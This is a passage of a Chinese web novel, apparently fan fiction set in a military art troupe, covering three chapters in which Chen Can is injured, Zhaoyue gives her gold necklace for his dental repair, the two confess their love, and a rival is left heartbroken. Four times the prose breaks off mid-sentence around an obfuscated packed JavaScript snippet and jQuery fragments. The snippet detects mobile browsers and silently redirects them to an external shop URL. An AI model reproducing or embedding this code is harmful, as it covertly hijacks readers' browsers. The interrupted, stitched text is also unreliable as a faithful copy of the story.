下午苏琴离开没多久,大家在排练厅外歇了片刻,三三两两地聊着天,气氛松散又慵懒。
分队长早就察觉到了团里近来的懈怠,隐约也听见了些关于文工团要调整的风言风语。
当即吹着哨子,脚步急促地从办公室跑出来,扯着嗓子喊:“休息得差不多了!都赶紧进来集合训练!”
兆悦却半点训练的心思都没有。
她早早缩在排练厅最角落的位置,低着头发呆,满心都是化不开的愁绪。
陈灿始终模棱两可,没有一句准话,母亲都已经亲自找上门,话里话外全是催促,可她和陈灿之间,依旧是一团理不清的迷雾。
她越想越乱,越想越慌,整个人都陷在茫然里,连身边的动静都听不进去。
何小萍站在不远处,把她的失魂落魄全看在眼里,心里急得团团转,却又不知道该怎么劝。
就在这时,排练厅外忽然传来陈灿漫不经心的声音,和电影里的台词几乎如出一辙。
“文工团都要解散了,还练什么练?”
话音刚落,恰好郝淑雯和几个人从一旁路过,闻言立刻停下脚步,满脸惊讶地追问:“你怎么知道的?这事我们怎么一点风声都没听到?”
旁边一个男兵自鸣得意的替陈灿回了一句,语气里带着几分理所当然:“人家爸爸是昆明军区副司令员,这种消息肯定最先知道啊。”
那一瞬间,郝淑雯整个人都僵在了原地。
心脏像是被什么东西猛地撞了一下,狂跳不止。
震惊、意外、狂喜,几种情绪瞬间搅在一起,让她几乎喘不过气。
她对陈灿的心思,其实早就不是单纯的战友关系了。
打从很久以前,她就有点看上这个团里的独奏号手。
他能力拔尖,吹得一手好号;模样周正,身材高大帅气,平日里又带着点玩世不恭的劲儿,特别对她胃口。
也正因为心里有这点说不清道不明的在意,她才总爱找他茬,跟他互怼,用这种别扭的方式来引起他的注意。
再加上心里还藏着点小算盘——萧穗子也喜欢陈灿,她下意识就想把人抢过来,所以平日里的针锋相对,就更显得理直气壮。
可她从来没想过,陈灿的背景竟然这么深。
副司令员的儿子!
比起自己军长父亲的家世,不仅毫不逊色,甚至分量更重。
这一下,原先那些想要“撬走”萧穗子心上人的小心思,瞬间就更必要了。
郝淑雯现在的心里,是铺天盖地的心动和狂喜。
这么好的家世,这么出众的人,原来一直就在自己身边,而且还是单身。
她怎么能不动心,不盘算?
她飞快地压下眼底的激动,但再开口时,语气已经彻底变了。
从前的尖锐和刻薄消失得无影无踪,取而代之的是一种刻意放软的腔调,甚至带着几分难得的小女儿娇羞:“陈灿你藏得这么深……你以前怎么从来没跟我们说过呀?”
陈灿压根没察觉到她的变化,只觉得这事没什么好特意提起的,随口应道:“这有什么好说的。”
说完,他推过自己的自行车,翻身跨上去,径直朝着大门方向骑去。
而排练厅里的兆悦,对外面发生的这一切一无所知。
但她也并非对所有事都毫不知情。
她早就知道陈灿在准备转业,这件事,陈灿没有瞒她。
早在前段时间,副司令员刚把文工团解散的消息透露给他,陈灿就第一时间找到了兆悦,把事情一五一十地告诉了她。
“文工团应该撑不了多久了,我马上要转业。”他当时看着她,语气里带着一丝少见的认真,“你呢?你之后打算怎么办?”
兆悦却答不上来。
她从来没有选择的权利。
她的人生,从始至终都被父母牢牢握在手里。苏琴那样强势的人,绝不可能允许她在外漂泊,更不会支持她一心想做的写作。
不管她愿不愿意,最后都一定会被安排进体制,安安稳稳地待着。
所以面对陈灿的问题,她只能一遍遍地重复:“我不知道,我还不清楚……我应该,要听家里的安排。”
也是在那一次,陈灿第一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309164|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次隐晦地提起了两人的未来,话里话外,都在试探着把她规划进自己的人生里。
可兆悦只是沉默、回避、不接茬。
她满心等着他把话说得更明白、更笃定,等着他站出来给自己一个确切的答案,却从来没想过,要主动给陈灿一句明确的回应。
她不知道,自己这种模棱两可的态度,在陈灿眼里,已经成了一种无声的距离。
陈灿的顾虑,一下子多了两层。
第一层,是他依旧不清楚兆悦的家庭背景,只估摸着是普通干部家庭,怕自己父亲理性强势,看不上普通家世的姑娘,不同意两人在一起。
第二层,是他明明已经隐晦地靠近,兆悦却始终不接话,连转业、未来这种大事,都只说“听家里安排”,半点不提两人的以后。
他不是怀疑兆悦心里没他,而是真的摸不透——兆悦对未来的规划里,到底有没有他的位置。
他不知道兆悦被家庭控制得身不由己,更不知道她所有的等待,都是在等他先迈出那一步。
而兆悦也没意识到,自己一味地等、一味地躲,只会让陈灿越走越犹豫,越等越不敢开口。
陈灿不知道的是,早在他上前线那次,父亲特意打电话过问兆悦安危时,就已经把兆悦的家庭背景摸得一清二楚。
这段迟迟没有捅破的关系,不只是他和兆悦之间缺少沟通,更是他从未和家里把话说透。
两个人都揣着各自的心事与顾虑,一步一停,一猜一瞒。
明明心意相通,却偏偏在最关键的那句话上,始终没能说到一起去。
而事情的转机,恰恰和一场事故一同到来。
分队长还在对着众人训话,脸色严肃:“我发现大家最近情绪都有些懈怠,别听外面那些风言风语。我在文工团这么多年,这文工团是说解散就能解散的吗?”
话音刚落,一个男兵慌慌张张跑了进来,语气急促:“报告!你们乐队那个陈灿,在大门口被车撞了!”
分队长脸色骤变,连忙上前一步:“撞哪儿了?严重不严重?”
“不知道,满脸是血,已经往那个第二门诊部送了!”
分队长立刻指向乐队的人:“你们几个,赶紧过去看看!快!”
安排完,她又保持镇定地维持秩序:“先别乱,我们先合《青春》,再合《落叶归根》,继续排练!”
消息钻进耳朵的那一刻,兆悦的心猛地一沉。
她当然难受,也瞬间就反应过来——十有八九,又是牙被撞掉了。
可她站在原地,手脚都像僵住了一样,只觉得脑子里乱成一团。
想去,又不敢;想冲,又迈不开脚。
她习惯性地左右张望,眼神躲闪,顾虑一层叠一层。
不能让别人看出她和陈灿的关系太近,不能表现得太过明显,不能成为团里的焦点。
这么久以来,她早已经习惯了把感情藏在暗处,习惯了小心翼翼,习惯了不声张。
此刻要她把这份在意明晃晃摆到台面上,她反而慌了,想多了。
她居然没有萧穗子那样不管不顾的冲动,也没有那种敢爱敢恨的直白。
83. 奔跑
兆悦还僵在原地愣神,第一反应过来的是何小萍。
她离兆悦最近,一眼就看穿了她脸上的震愕与翻涌的情绪,当即伸手轻轻捏了捏兆悦的胳膊,压低声音急道:“还不快去?这时候他最需要你。”
兆悦这才如梦初醒,慌慌张张从后门跑了出去。
萧穗子先一步冲到门诊部,一进门就听见政委在反复叮嘱:“一定要用最好的材料,给他装最好的假牙。”
看见陈灿好好地坐在口腔科的椅子上,只是嘴上沾了血,人没大事,萧穗子悬着的心才稍稍放下。
政委又叹了句:“这可是咱们团的独奏号手啊。”
话是这么说,在场的人心里都清楚——不单单因为陈灿是独奏号手,更因为他是昆明军区副司令员的儿子。
副司令的儿子在文工团受了伤,政委怎么可能不亲自陪着、不上心?
部队里这点看人看背景的现实,谁都看得明白。
医生检查完,摇了摇头:“假牙使不上劲,平时吹着玩还行,想当独奏号手……肯定是不行了。”
旁边一个男兵忍不住插了句嘴,语气复杂:“陈灿,我看这回你都不用闹着转业了,团里也得让你走了。”
医生顿了顿,又补充道:“有个办法可以试试。要是能弄到一点黄金做个底座,把假牙固定住,就能跟真牙一样用上劲。”
萧穗子一听,立刻转身往外跑,心急之下,和刚进门的杭春明撞了个正着,也顾不上看来人是谁,也顾不上道歉,匆匆就走了。
兆悦没有立刻冲进去。
她心里早隐约猜到,十有八九又是撞掉了牙。
她没有跟上去,而是先转身回了宿舍。
她要去拿陈灿之前送给她的那条金项链。
她绝不想让萧穗子拿金子给陈灿。
一来,自己是他女朋友,他送的金项链就在她手上,哪有不拿出来的道理;二来,她也不想陈灿欠萧穗子这份情——她心里清楚,陈灿最后怎么都不会和萧穗子在一起。
这项链是陈灿亲手给她的,现在用来给他做假牙,再合适不过。
她从箱子里翻出那条项链,指尖轻轻抚过那个蝴蝶结。
那是陈灿亲自为她打的。
一瞬间,回忆翻涌上来,兆悦整个人都慌了神,心潮翻涌得几乎站不稳。
她想起那次长途拉练,天刚破晓,整片荒原浸在清冷的晨曦里,远处的雪山在微光中静静矗立。
他没有多说什么,只是安安静静陪在她身边,和她一起望着眼前无边无际的平原,那一刻的安静与陪伴。
还有排练厅里那次并非偶遇的等候,他说看见她的外套落下,便特意等在原地;训练时默默递来的温水,深夜里悄悄护送她回宿舍的脚步,那些藏在细节里的温柔,桩桩件件,都在提醒她,陈灿是真心待她好。
可越是想起这些好,兆悦心里越是慌乱,越是纠结得喘不过气。
一边是他实实在在、从未缺席的温柔,一边是他迟迟不肯说出口的明确心意;一边是她早已交付的真心,一边是随时可能被权衡、被放弃的不安。
文工团即将解散,他要转业,如今又受了伤,连最在意的号都吹不了了。
现在如她所愿,陈灿不知道自己的身世,郝淑雯的家世背景摆在眼前,门当户对,顺理成章,谁都知道那是最稳妥的选择。
他会不会到最后,选择体面,选择安稳,选择放下她?
她会不会,从始至终,都是那个会被舍弃的人?
心里两种念头疯狂拉扯,一边想不顾一切冲去他身边,一边又怕自己一腔真心最终落得一场空。
她太害怕成为被丢下、被比较、被取舍的那一个,也太害怕自己所有的等待,到头来只是一厢情愿。
这种天人交战的慌张,让她手脚发僵,连呼吸都变得沉重。
最后,她深吸一口气,把金项链紧紧攥在手心,转身找到从对面过来看她情况的杭春明。
她压下喉咙里的涩意,把项链递过去,声音轻得几乎听不见:“你帮我拿过去。如果他伤得不重,就把这个给他,应该用得上。”
杭春明接过项链,只当是她一片心意,没多琢磨缘由,点点头:“行,我去。”
兆悦又补了一句,带着犹豫:“如果他伤得更重……你回来,再告诉我。”
杭春明看不懂她深处的纠结,只当她是担心陈灿,匆匆拿着项链往门诊部赶。
两人都没来得及说话,匆匆擦肩而过,一个心里翻江倒海,一个满心焦急。
门诊部里,陈灿坐在椅子上,脸色看着苍白,带着半脸的血,嘴角却依旧带着那股漫不经心的笑。
政委坐在旁边,眉头紧锁,语气难得缓和:“今天这事,团里会严肃处理。你放心,我们一定给你一个交代。”
陈灿摆摆手,笑得轻松,却藏着几分疲惫:“没事,政委,我自己不小心。”
就在这时,杭春明攥着金项链,匆匆踏进了门诊部。
兆悦没有跟来,她只是站在宿舍门口,心神不宁地等着消息。
没等多久,她就看见萧穗子满头大汗、神色急切地从外面冲回来,直奔宿舍而去。
看那模样,兆悦瞬间就明白了——萧穗子是要回去拿她母亲留给她的那条金项链。
那是萧穗子唯一的首饰,可能是唯一值钱的东西,更是她全部的真心。
她愿意为了陈灿,把自己最珍贵的一切都押上去,一腔孤勇,毫无保留。
那一刻,兆悦心里忽然狠狠一震。
萧穗子可以为他不顾一切,那自己呢?
她拥有的远比萧穗子多,有亲情,有友情,有被好好爱着的底气;陈灿送她的金项链,也不是她唯一的珍宝。
可她却连拿出这份心意,都要反复纠结、犹豫、退缩。
她拥有那么多爱,为什么偏偏在面对陈灿时,变得如此胆小?
一股从未有过的坚定,猛地撞进心底。
她不再等了,不再躲了,不再怕了。
她拔腿就往门诊部的方向跑去。
而此时的门诊部里,杭春明刚一进门,就听见医生对着政委催促:“有金子吗?有现在就能处理。”
杭春明眼睛一亮,立刻上前,把兆悦托付的金项链递了过去:“政委,这儿有!”
政委没多想,只当是战友间互相帮忙,接过项链就交给了医生。
可陈灿的目光,一刹那就定在了那条项链上。
那个蝴蝶结样式,他再熟悉不过——是他亲手给兆悦打的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309165|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是兆悦的项链。
陈灿心里猛地一紧,下意识看向门口,空无一人。
项链来了,可她人呢?
为什么让杭春明送来,自己却不肯露面?
没等他想明白,政委就跟着医生去处理黄金,几个男兵也一并跟了出去。
房间里,只剩下陈灿和杭春明两个人。
陈灿捂着嘴,口齿不清地开口,声音里带着难以掩饰的涩意:“这……这是她给你的项链吧?她怎么没来?”
杭春明看着他,沉默了片刻。
他向来偏心兆悦,此刻索性不再绕弯子,直接把积压已久的话摊开:“你知道前几天,兆悦她妈妈来文工团了吗?”
陈灿一怔,脸上的散漫瞬间褪去:“是她妈来了?”
“是。”杭春明沉声道,“她妈来,就是为了兆悦,为了……”
话刚到这里,门被猛地推开,何小萍脚步急促地冲了进来。
她根本不给杭春明继续说下去的机会,伸手就用力将杭春明往门外推。
“你别说了,婆婆妈妈的,出去!”
杭春明猝不及防,被她直接推到了门外。
下一秒,“砰”的一声闷响,何小萍狠狠关上房门。
陈灿彻底愣住了。
他从来没想过,一向瘦弱安静、和自己几乎没有交集的何小萍,会爆发出这样强硬又急切的情绪,那双平日里总是温和的眼睛里,此刻盛满了认真和愤怒。
何小萍背靠在门板上,抬眼直直看向陈灿,没有丝毫躲闪,声音不大,却字字清晰有力:“陈灿,你们两个明明互相喜欢,为什么要一直这样互相折磨?”
陈灿心口一震,张了张嘴,却一时不知道该如何回应。
“你知不知道,兆悦为了你,偷偷哭了多少次?从我来到文工团没多久,就看见她因为你的模棱两可,在被窝里把眼睛哭肿;拉练回来的路上,她因为你迷茫不安,一个人躲在角落里掉眼泪;这些日子,她每天都在不安里熬,每天都在等你一句话,这些,你真的都不知道吗?”
每一个字,都重重砸在陈灿心上。
他僵在口腔科的椅子上,指尖不受控制地微微发颤,密密麻麻的愧疚与心疼瞬间涌满胸腔,堵得他几乎喘不过气。
他一直以为自己的犹豫与顾虑是缓兵之计,却从没想过,自己的不坚定,只不过是逃避,也让兆悦承受了这么多无声的委屈。
何小萍深吸一口气,语气稍稍放缓,却依旧强硬:“我也看得见你的付出。雪地里你故意冻着自己,用体温帮她降温;平日里训练生活,你对她的照顾与在意,我全都看在眼里。你们明明都把对方放在心上,为什么就不能有一个人,主动把话说清楚?”
陈灿喉咙发紧,无数心绪堵在胸口,翻涌得厉害。
他不是不想说,是不敢说。
他怕自己开口后,兆悦依旧是模棱两可的态度;他怕自己猜不透的兆悦家世,无法被自己理性强势的父亲接受;他现在更怕,自己这样了,好不容易鼓起的勇气,最后只换来她的拒绝。
他的挣扎、不安与顾虑,其实和兆悦一模一样。
而就在房间里陷入沉默的瞬间,门外,杭春明一抬头,正好撞上了一路气喘吁吁、狂奔而来的兆悦。
84. 我爱你
门外,杭春明一抬头就看见了气喘吁吁跑过来的兆悦。
他心里也知道,还是得何小萍进去说,自己那些委婉又婆婆妈妈的话,根本解决不了问题。
他上前一步,压低声音给兆悦定心:“别慌,陈灿伤得不重,就是撞掉了牙。你给的金项链已经送去做底座了,马上就能弄好,没事了。”
说完,他轻轻拍了拍兆悦的肩膀,眼神里带着笃定:“该说的,该做的,别再留遗憾。”
话音落,杭春明转身离开,刚走几步,就迎面撞上了抱着金项链、满脸急切的萧穗子。
那一刻,他什么都明白了。
这个腼腆又内向的姑娘,现在把全部真心都给了陈灿,一腔孤勇,多少深情。
可眼看房间里的两人即将捅破最后一层窗户纸,她再过来,也只剩徒劳。
杭春明心里轻轻一叹,满是惋惜,却什么也没说,只是默默摇了摇头,转身走了。
而房间内,何小萍看着眼前茫然又迟钝的陈灿,眼神骤然一沉。
她比所有人都更懂破釜沉舟的滋味,也知道,不把人逼到绝境,他永远不会醒。
她抬眼,声音冷得像冰,一字一句,带着彻骨的激将:“你不是好奇兆悦为什么没来吗?我告诉你——就在你出事的那一刻,她妈把她带走了,直接回家,马上转行,你们这辈子,再也见不着了。”
陈灿瞳孔猛地一缩,整个人像被雷劈中,僵在原地。
何小萍继续逼视着他,语气尖锐又狠厉:“你犹豫了这么久,揣着明白装糊涂。你们俩再相爱又怎么样?
你是个男人,你就不能主动一步?就不能打破那层僵局?你没有!你一直躲,一直拖,现在好了,你彻底把她错过了,你满意了?!”
最后一句话砸下来,陈灿整个人瞬间崩塌。
血液像是瞬间冻住,又在下一秒疯狂倒涌,心脏像是被一只无形的手狠狠攥碎,痛得他无法呼吸。
错过……再也见不到……
兆悦走了,跟着她妈妈走了,甚至没有回头找他,没有挣扎,没有反抗……
是他的犹豫,是他的模棱两可,是他的不敢开口,亲手把她推走了。
他现在恨不得刚才被车撞倒的那一刻,就直接撞得再也醒不过来。
比起一辈子再也见不到兆悦,比起她心甘情愿地离开自己,这点伤又算得了什么?
巨大的绝望和悔恨将他彻底淹没,心口像是被撕开一道血淋淋的口子,冷风往里灌,痛得他浑身发抖,漏风的嘴发不出完整的声音,只有压抑到极致的呜咽。
他唾弃自己的懦弱,恨自己的顾虑,恨自己明明喜欢到了骨子里,却连一句“我爱你”都不敢说出口。
直到这一刻他才幡然醒悟——什么家世,什么未来,什么配不配,在失去她面前,全都一文不值。
他只要她,只要兆悦,只要那个人在身边,比什么都重要。
就在陈灿痛不欲生、眼前发黑的瞬间,房门“咔哒”一声被打开。
何小萍看着他崩溃的模样,知道目的达到了。
她侧身让开位置,回头看向门口的兆悦,轻轻抱了抱她,声音软了下来:“悦儿姐,该进去了。”
兆悦心脏狂跳,一步步走进房间。
何小萍则转身后走了没几步,径直挡在了正要冲上来的萧穗子面前。
萧穗子满脸焦急,怀里还紧紧攥着那条金项链:“何小萍,你别拦我,我要去看陈灿!”
何小萍神色坚定,寸步不让:“你不能进去。”
她没有杭春明的周全体贴,也不想顾及所有人的情绪,她只知道,兆悦在里面做最后的了断,萧穗子这时候冲进去,徒增麻烦。
萧穗子急得眼眶发红,用力挥开何小萍,执意要往楼上闯。
而房间里,痛到极致的陈灿,在看见门口走进来的兆悦那一刹那,整个人猛地僵住。
时间仿佛静止。
是她。
是那个他以为永远失去的人。
是那个他恨不得以命相换的人。
失而复得的狂喜瞬间冲垮了所有理智,所有犹豫、顾虑、胆怯,在这一刻烟消云散。
他顾不上伤口的疼痛,顾不上牙漏风,顾不上此刻有多狼狈,猛地从治疗床上侧过身,伸手一把将兆悦狠狠搂进怀里,整张脸深深埋在她的腰腹间,浑身控制不住地发抖。
“悦悦……”
他声音沙哑,带着哭腔,含糊却用力,一字一顿,拼尽全力喊出来:“我爱你,我根本不敢想象没有你的人生。”
兆悦整个人僵在原地,眼泪瞬间就掉了下来。
这么久的等待、不安、纠结、委屈,在这一句话里,全都有了归宿。
她轻轻抬手,抚上他颤抖的后背,声音轻软却坚定:“我在这儿,我没走。”
陈灿这才稍稍松开一点,仰头看着她,眼睛通红,脸上还带着未干的泪痕,语气里全是后怕与认真:“我以前总在怕,怕我家的情况,怕你家里不同意,怕你一直不表态,怕我给不了你安稳……我什么都怕,就是没敢告诉你,我有多怕失去你。”
他顿了顿,吸了吸鼻子,每一个字都说得无比郑重:“以后我不想躲了,也不猜了。
文工团散不散,你转不转业,我还能不能吹号,都不重要。
我只要你。
只要跟你在一起,去哪里、做什么,我都认。”
兆悦蹲下身,轻轻擦去他脸上的泪,自己的眼泪却还在不停地落:“我也怕……我怕你最后选的不是我,怕你觉得我家世不够,怕你被更好的人吸引,怕我只是你权衡之后的选择。”
“不是。”陈灿立刻打断她,握緊她的手,力道大得像是要把她嵌进自己骨血里。
“从来都不是。从我第一次在排练厅等你的时候起,我心里就只有你。以前是我没出息,不敢说,以后我不会再让你受一点委屈。”
房间里,所有的误会、顾虑、沉默、拉扯,在这一刻彻底烟消云散。
窗外的光线柔和地洒进来,落在两人交握的手上。
一场意外,一句逼到绝境的真话,终于让两个互相喜欢了太久的人,不再错过。
陈灿重新将兆悦抱紧,下巴轻轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309166|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抵在她的肩头,声音轻得像叹息,却无比安稳:“求你,不走,就这样待在我身边。”
他顿了顿,语气又沉又坚定,一字一句,清清楚楚,带着失而复得的滚烫真心:“我爱你,我根本不敢想象没有你的人生。
我也不会再怕你拒绝我了,你就算拒绝我,我也一直守着你、缠着你,不会放手。
我家里要是不同意,我就跟他们反抗,谁也拦不住我。
我一定要和你在一起,永远和你在一起。”
兆悦闭上眼,眼泪大颗大颗地滚落,却又忍不住弯起嘴角。
是幸福到极致的笑,也是哭。
她用力点头,哽咽得说不出话,只有轻轻一声:“嗯。”
这些滚烫的话语,一字不落地飘到了门外。
刚刚挣脱开的萧穗子,动作忽然一僵。
手中紧紧攥着的金项链,瞬间变得无比沉重,冰得刺骨,像是一块寒铁硌进掌心。
现在,什么疑惑都没有了,她什么都懂了。
原来不是陈灿生性冷漠,不是他对谁都保持距离,而是在她不知道的地方,他早已和兆悦心意相通,爱得那么深,那么刻骨,那么笃定。
她一腔孤勇捧来的真心,在这一刻显得格外多余,甚至有些难堪。
她只觉得脸上发烫,狼狈得无处可藏,只想立刻逃离这里。
萧穗子转身就往楼下跑,慌乱之下,在楼梯口快要踏到平地的瞬间,脚下一崴,重重踉跄了一下。
何小萍立刻上前想去扶她。
可萧穗子只是轻轻、虚弱地挥开了她的手,没有用力,也没有回头。
她不想让任何人看见自己此刻狼狈、可怜、泪流满面的样子,更不想让何小萍看见。
她保持着挥手的姿势,声音轻得发颤,带着掩饰不住的委屈:“别过来……不用管我。”
说完,她忍着脚踝的剧痛,一步一瘸,头也不回地离开了。
何小萍站在原地,望着她单薄又落寞的背影,轻轻叹了口气。
她转头望向楼上紧闭的房门,最终什么也没说,默默转身离开。
房间里,兆悦轻轻拍着陈灿的后背,把所有的不安都安抚干净。
误会解开,心意挑明,两个人之间再也没有任何隔阂。
兆悦看着他嘴角还沾着血迹的样子,忍不住轻轻皱了下鼻子,带着一贯的娇气,故意逗他:“你看你一嘴血,我现在可不想亲你。”
一句话,瞬间冲淡了所有沉重的情绪。
陈灿愣了一下,随即低低地笑出声,眉眼温柔得一塌糊涂,漏风的声音里全是宠溺:“那你等我,等我把牙安好。”
兆悦弯着眼睛,笑得又甜又软:“好。”
两人刚轻轻分开,门外就传来脚步声,政委带着医生拿着处理好的金底座回来了。
兆悦见状,轻声跟陈灿道别,转身回到了排练厅。
一切都像往常一样,没人知道刚刚在门诊部里,发生过怎样刻骨铭心的告白与和解。
只是大家排练时无意间发现——这么半天了,萧穗子一直没有出现。
85. 失去
安假牙并没有耗费太久时间,傍晚时分,陈灿便收拾妥当回到了男生宿舍。
他脸上那股藏不住的笑意,连走路都带着轻快的劲儿,明眼人一看便知。
杭春明一抬眼就瞅见了他这副嘚瑟的模样,一旁的朱克还笑着打趣:“可以啊陈灿,摔一跤还摔傻了?怎么这么高兴。”
杭春明心里瞬间明朗——他俩,终究是谈好了。
他没戳破,只是望着陈灿,眼底泛起真心实意的欢喜,打心底里为悦儿姐,也为这两个兜兜转转的人高兴。
而另一边,女生宿舍楼下,兆悦已经在门外徘徊了许久。
她是从何小萍口中得知,萧穗子当时也去了,还什么都看见了。
一想到下午门诊部门外的一幕,想到萧穗子或许一字不落地听见了所有告白,兆悦的心就揪得发紧。
她不知道该怎么面对,更不知道该如何开口解释,每一步都走得犹豫又纠结。
这天晚上,宿舍格外安静。
刘峰升了官,林丁丁和郝淑雯一早就跑去了刘峰那里说笑打闹,刘峰对林丁丁虽已不复当初那般炽热痴迷,可心底仍存着几分旧情,便由着她们进了办公室闲聊。
偌大的女生寝室里,只剩下两个人。
萧穗子躺在床上,面朝里,一动也不动,假装熟睡,可那双早已哭肿的眼睛,却瞒不过任何人。
兆悦轻轻推开门,脚步放得极轻,看着床上蜷缩的身影,心口泛起密密麻麻的酸涩与愧疚。
门在身后轻轻合上,将两人困在这一片沉默又难堪的夜色里。
兆悦沉默着爬上床,指尖攥得发白,一句话也不知道该怎么开口。
就在这时,萧穗子忽然坐了起来,主动开了口。
“你都知道了吧。”
她问的是——她的心意,兆悦是不是已经知道,她今天赶来、捧着金项链、满心满眼,都是为了陈灿。
兆悦身子一僵,轻轻“嗯”了一声,声音轻得几乎听不见。
她不敢看萧穗子,更不知道下一秒会迎来什么样的情绪,只能安静地等着。
萧穗子深深吸了一口气,胸口微微起伏,强忍着眼底翻涌的湿意和心口密密麻麻的疼,抬起头,望向铺上的兆悦。
“和我说说行吗?”
兆悦心口一酸,看着她强装镇定却早已通红的眼眶,心里又疼又愧疚,一时不知该如何回应。
萧穗子慢慢垂下眼,声音轻得像一片要碎掉的叶子,却异常清醒:“我想听听……也让我彻底死心。”
兆悦沉默了片刻,轻轻开口,把她和陈灿从相识、靠近到彼此心意相通的大致经过,慢慢说了出来。
萧穗子安安静静地听着,一声不吭。
等她说完,萧穗子才扯出一个比哭还难看的笑,轻轻说了一句:“真好。”
兆悦心口发紧,不敢接话,也不敢问这两个字是什么意思。
萧穗子抬眼看她,声音轻得发飘:“真好,他终于找到自己喜欢的人了。”
兆悦这才忍不住开口,语气里满是愧疚:“我不是有意要瞒着你的,是文工团的纪律,我们……不敢声张。”
萧穗子轻轻点了点头,表示理解。
她沉默了一下,低声说:“其实,我认识他比你早。我一直在文工团,他来的时候,我就已经在了。”
她慢慢垂下眼,像是陷入了很远的回忆里:“一开始他刚来,一副玩世不恭的样子,我就已经忍不住多注意他了。
那时候年纪还小,也不懂什么是喜欢,只是下意识地多看几眼,多留意几分。后来你来了,我还是什么都没看出来,大概是那时候我们都太迟钝了。”
“直到何小萍来的那一年,我才清清楚楚地知道,自己是真的喜欢上他了。”
萧穗子的声音微微发颤,“也是从那之后,他变得越来越冷。
以前我跟他说话,他还能笑着回我几句,我跟郝淑雯跟他斗嘴,他也会怼回来,有时候还会主动跟我们搭几句话。可那之后,就再也没有了。”
“现在我才明白,原来是因为你。
我真是傻,傻到这么明显的事,都一直猜不到。”
兆悦张了张嘴,想说什么,却一个字也吐不出来。
萧穗子自顾自地继续往下说,带着一点自嘲的苦笑:“再后来,我也想过主动一点。可每次,都以尴尬收场。那时候的我,是真的很傻。”
她轻轻吸了吸鼻子,“但我不怪他,更不怪你。要怪,就怪我自己太含蓄,太害怕,太不敢往前迈一步。”
兆悦在心里拼命摇头——不是的,你已经很勇敢了,你愿意拿出唯一的金项链,愿意不顾一切跑过来,你比谁都勇敢。
可话到嘴边,她还是咽了回去。有些安慰,说出来反而更伤人。
萧穗子深深吸了一口气,拼命憋住眼眶里的泪:“我一直觉得自己挺了解他的,我知道他理性,想得远。
我甚至一直以为,他最后会选郝淑雯,她家境好,跟他这个副司令的儿子最般配。我都做好了看他们在一起的准备……没想到,他最后还是选了自己心里真正喜欢的。”
她又笑了笑,那笑容脆弱得一碰就碎:
“真好,真的。我为他高兴。”
话音刚落,眼泪就再也忍不住,汹涌地滚落下来。
她明明说着高兴,整个人却控制不住地发抖,哭得压抑又绝望。
兆悦坐在上铺,心像被揪紧一样难受,沉默了很久,才轻轻说了一句:“穗子,我相信,你以后一定会遇到一个你爱他、他也爱你的人。”
萧穗子慌忙伸手擦掉眼泪,声音哑得不成样子:“……谢谢。”
她轻轻躺了回去,把脸埋进被子里,“我睡了。”
兆悦张了张嘴,最终也只能轻轻“嗯”了一声。
这一夜,宿舍里安静得只剩下压抑的呼吸和谁都不敢戳破的难过。
不同于萧穗子的沉重,也不同于兆悦的尴尬与愧疚,郝淑雯这几天整个人都轻快得快要飘起来,心情好得异常显眼。
她几乎是逮着机会就往陈灿身边凑,主动找他说话、跟他互怼,一副势在必得的模样。
陈灿装好牙回团里的第二天,郝淑雯一看见他就笑着凑上前,语气带着几分揶揄:“可以啊你,这牙一装,又能吹号了?”
陈灿只是淡淡瞥她一眼,没怎么搭理。
换作以前,他多少还会怼回去两句,可现在,他满心都是兆悦,对旁人的热闹半点都没兴趣。
郝淑雯却半点不气馁,依旧自顾自地找话题黏上去。
她心里已经无比笃定——陈灿伤好了,文工团又快要演出,她一定要趁这段时间,抓住最后的机会,跟陈灿把心意挑明。
在她看来,家世相当、脾气相投,她和陈灿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309167|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,才是最理所应当的一对。
紧锣密鼓的排练,全是为了给自卫反击战前线归来的战士们做慰问安抚演出。
